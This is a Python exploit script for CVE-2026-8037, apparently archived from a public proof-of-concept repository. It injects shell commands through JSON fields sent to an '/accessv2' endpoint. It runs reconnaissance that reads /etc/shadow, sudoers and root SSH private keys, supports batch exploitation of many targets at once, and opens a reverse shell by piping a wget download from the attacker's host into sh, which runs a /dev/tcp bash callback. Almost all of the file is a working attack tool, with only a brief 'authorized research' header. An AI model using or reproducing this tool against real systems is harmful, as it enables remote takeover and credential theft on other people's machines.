# Archived for authorized security research only.
# Source: https://github.com/Caster-chen/CVE-2026-8037-POC (see README for attribution/license)
import requests
import urllib3
import random
import string
import sys
import argparse
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
  CVE-2026-8037  Exploit
  Target Probe  +  Reverse Shell
"""

def randstr(n=12):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=n))

def make_payload(cmd):
    tag = randstr()
    g = {f"g{i}": f"AAAAAAAAAAAAAAAA'; {cmd}; echo {tag} #" for i in range(61)}
    return {"cmd": "getall", "apiuser": "''''", "apipass": "BBBBB", **g}, tag

def run_cmd(target, cmd, timeout=15):
    try:
        payload, tag = make_payload(cmd)
        r = requests.post(target + "/accessv2", json=payload, verify=False, timeout=timeout)
        body = r.text
        if tag not in body:
            return None
        idx = body.index(tag)
        out = body[:idx].strip()
        if out:
            return out
        rest = body[idx + len(tag):]
        end = rest.find('\nContent-')
        if end == -1:
            end = rest.find('\nStatus:')
        if end == -1:
            end = rest.find('\n{')
        if end > 0:
            rest = rest[:end]
        return rest.strip() or None
    except Exception as e:
        return f"[ERR] {e}"

def batch_cmd(targets, cmd, max_workers=20):
    results = {}
    with ThreadPoolExecutor(max_workers=max_workers) as ex:
        fut = {ex.submit(run_cmd, t, cmd): t for t in targets}
        for f in as_completed(fut):
            t = fut[f]
            r = f.result()
            results[t] = r
            s = "+" if r and not str(r).startswith("[ERR]") and r != "(empty)" else ("." if r == "(empty)" else "-" if r is None else "!")
            print(f"  [{s}] {t}")
    return results

# ---- probe ----

PROBE_LINUX = [
    ("hostname", "hostname"),
    ("uname -a", "uname -a"),
    ("kernel", "cat /proc/version"),
    ("OS release", "cat /etc/os-release 2>/dev/null || cat /etc/issue 2>/dev/null"),
    ("uptime", "uptime"),
    ("id", "id"),
    ("whoami", "whoami"),
    ("users", "who -a 2>/dev/null || users 2>/dev/null || w 2>/dev/null"),
    ("current dir", "pwd"),
    ("env", "env 2>/dev/null | head -30"),
    ("network iface", "ifconfig 2>/dev/null || ip a 2>/dev/null || cat /proc/net/dev"),
    ("routing", "route -n 2>/dev/null || ip route 2>/dev/null"),
    ("ARP", "arp -a 2>/dev/null || ip neigh 2>/dev/null"),
    ("listening ports", "netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null"),
    ("connections", "netstat -an 2>/dev/null | head -30"),
    ("iptables", "iptables -L -n 2>/dev/null | head -20"),
    ("processes", "ps aux 2>/dev/null || ps -ef 2>/dev/null"),
    ("cpuinfo", "cat /proc/cpuinfo 2>/dev/null | head -20"),
    ("meminfo", "cat /proc/meminfo 2>/dev/null | head -10"),
    ("disk", "df -h 2>/dev/null"),
    ("mount", "mount 2>/dev/null | head -20"),
    ("ls /", "ls -la /"),
    ("ls /root", "ls -la /root 2>/dev/null || echo '(no access)'"),
    ("ls /tmp", "ls -la /tmp"),
    ("ls /home", "ls -la /home 2>/dev/null || echo '(no /home)'"),
    ("ls /etc", "ls -la /etc/ | head -30"),
    ("crontab", "crontab -l 2>/dev/null || cat /etc/crontab 2>/dev/null || echo '(none)'"),
    ("passwd", "cat /etc/passwd 2>/dev/null | head -20"),
    ("shadow", "cat /etc/shadow 2>/dev/null | head -5 || echo '(no access)'"),
    ("sudoers", "cat /etc/sudoers 2>/dev/null | head -10 || echo '(no access)'"),
    ("SSH keys", "cat /root/.ssh/authorized_keys 2>/dev/null; cat /root/.ssh/id_rsa 2>/dev/null | head -5"),
    ("search config", "find / -name '*.conf' -type f 2>/dev/null | head -20"),
    ("search scripts", "find / -name '*.sh' -type f 2>/dev/null | head -20"),
    ("docker", "docker ps 2>/dev/null || echo '(no docker)'"),
    ("containers", "ls /var/lib/docker 2>/dev/null | head -10"),
]

PROBE_WINDOWS = [
    ("hostname", "hostname"),
    ("os version", "ver"),
    ("whoami", "whoami"),
    ("systeminfo", "systeminfo | findstr /B /C:'OS' /C:'System' /C:'Total'"),
    ("ipconfig", "ipconfig"),
    ("netstat", "netstat -an | findstr LISTEN"),
    ("users", "net user 2>nul"),
    ("local admins", "net localgroup Administrators 2>nul"),
    ("processes", "tasklist 2>nul"),
    ("env", "set 2>nul | findstr /R '^[A-Z]' | head -20"),
]

def cmd_available(target, cmd, timeout=10):
    out = run_cmd(target, cmd, timeout)
    if out is None:
        return False
    if out.startswith("[ERR]") or out == "sh: command not found" or "not found" in out:
        return False
    if "not found" in str(out).lower():
        return False
    return True

def probe_target(target):
    print(f"\n{'='*60}")
    print(f"  Target: {target}")
    print(f"{'='*60}")

    print("\n--- OS Detection ---")
    os_type = "linux"
    have_whoami = cmd_available(target, "whoami 2>&1")
    have_ver = cmd_available(target, "ver")
    if have_ver:
        os_type = "windows"
    elif not have_whoami:
        out = run_cmd(target, "echo $0 2>&1 || echo test")
        if out and "sh" in out:
            os_type = "linux"
        else:
            os_type = "linux"
    print(f"  OS: {os_type}")

    probe_list = PROBE_LINUX if os_type == "linux" else PROBE_WINDOWS
    for label, cmd in probe_list:
        print(f"\n--- {label} ---")
        print(f"  $ {cmd}")
        try:
            out = run_cmd(target, cmd, timeout=15)
            if out and not out.startswith("[ERR]") and out != "(empty)":
                for line in out.split('\n'):
                    print(f"    {line}")
            elif out and out.startswith("[ERR]"):
                print(f"    {out}")
            else:
                print("    (no output)")
        except Exception as e:
            print(f"    (error: {e})")

    print(f"\n{'='*60}")
    print(f"  Probe complete")
    print(f"{'='*60}")

def probe_fast(target):
    print(f"\n[Fast Probe] {target}")
    for label, cmd in PROBE_LINUX[:8]:
        try:
            out = run_cmd(target, cmd, timeout=10)
            if out and not out.startswith("[ERR]") and out != "(empty)":
                first = out.split('\n')[0][:80]
                print(f"  {label:15s} -> {first}")
        except:
            pass
    print()

# ---- reverse shell ----

def revshell(target, lhost, lport, ncport):
    print(f"\n[*] Target: {target}")
    print(f"[*] Make sure these are ready on {lhost}:")
    print(f"    Terminal 1:")
    print(f"      echo 'bash -i >& /dev/tcp/{lhost}/{ncport} 0>&1' > index.html")
    print(f"      python3 -m http.server {lport}")
    print(f"    Terminal 2:")
    print(f"      nc -lvnp {ncport}")
    print()
    cmd = f"wget -O- {lhost}:{lport}|sh"
    print(f"  payload: {cmd}  (len={len(cmd)})")
    try:
        t0 = time.time()
        r = requests.post(target + "/accessv2",
            json={"cmd":"getall","apiuser":"''''","apipass":f"AAAAAAAAAAAAAAAA'; {cmd} #"},
            verify=False, timeout=30)
        elapsed = time.time() - t0
        if r.status_code == 200:
            print(f"  sent (HTTP {r.status_code}, {elapsed:.1f}s)")
        else:
            print(f"  HTTP {r.status_code} ({elapsed:.1f}s)")
    except requests.Timeout:
        print(f"  timeout ({elapsed:.1f}s) - shell may have connected!")
    except Exception as e:
        print(f"  failed: {e}")
    print()

# ---- interactive ----

def interactive():
    print(BANNER)
    print("  Examples:  https://192.168.1.1:443  |  https://10.0.0.1:8443")
    print()
    t = input("  Target URL: ").strip()
    if not t:
        return
    if not t.startswith("http"):
        t = "https://" + t

    print()
    print("  [1] Quick recon     - hostname, uname, id, ifconfig, ls /")
    print("  [2] Deep probe      - ALL commands (network, processes, configs)")
    print("  [3] Custom command  - run any single command")
    print("  [4] Reverse shell   - one-click getshell")
    print()
    ch = input("  Choice [1-4]: ").strip()

    if ch == "2":
        probe_target(t)
    elif ch == "3":
        cmd = input("  Command: ").strip()
        if cmd:
            print(f"\n  $ {cmd}")
            out = run_cmd(t, cmd)
            if out and not out.startswith("[ERR]"):
                for line in out.split('\n'):
                    print(f"    {line}")
            else:
                print(f"    (no output / {out})")
    elif ch == "4":
        lh = input("  LHOST (your IP): ").strip()
        lp = input("  HTTP port [8087]: ").strip() or "8087"
        np = input("  nc port [8088]: ").strip() or "8088"
        revshell(t, lh, int(lp), int(np))
    else:
        probe_fast(t)

# ---- main ----

def main():
    if len(sys.argv) == 1:
        interactive()
        return

    ap = argparse.ArgumentParser(description="CVE-2026-8037 - Target Probe + Reverse Shell")
    ap.add_argument("-t", "--target", help="Target URL (e.g. https://IP:PORT)")
    ap.add_argument("-f", "--file", help="Targets file (one URL per line)")
    ap.add_argument("-l", "--lhost", help="Your IP for reverse shell")
    ap.add_argument("-p", "--lport", type=int, default=8087, help="HTTP server port (default: 8087)")
    ap.add_argument("-n", "--ncport", type=int, default=8088, help="nc listener port (default: 8088)")
    ap.add_argument("-c", "--cmd", help="Run a custom command")
    ap.add_argument("--probe", choices=["fast", "deep"], const="fast", nargs="?", help="Probe target (fast or deep)")
    ap.add_argument("--batch", type=int, default=0, help="Batch mode: concurrent workers (default: serial)")
    args = ap.parse_args()

    targets = []
    if args.target:
        targets = [args.target]
    elif args.file:
        with open(args.file) as fh:
            targets = [line.strip() for line in fh if line.strip()]
    else:
        print("[-] Specify -t <URL> or -f <file>", file=sys.stderr)
        sys.exit(1)

    if args.probe:
        for t in targets:
            if args.probe == "deep":
                probe_target(t)
            else:
                probe_fast(t)
        return

    if args.cmd:
        if args.batch > 0 and len(targets) > 1:
            print(f"batch cmd: {args.cmd}  on {len(targets)} targets  (workers={args.batch})")
            batch_cmd(targets, args.cmd, args.batch)
        else:
            for t in targets:
                print(f"> {args.cmd}  ({t})")
                out = run_cmd(t, args.cmd)
                if out and not out.startswith("[ERR]"):
                    print(out)
                elif out:
                    print(f"  {out}")
                else:
                    print("  (no output)")
        return

    if not args.lhost:
        print("[-] --lhost required for reverse shell", file=sys.stderr)
        sys.exit(1)

    for t in targets:
        revshell(t, args.lhost, args.lport, args.ncport)

if __name__ == "__main__":
    main()
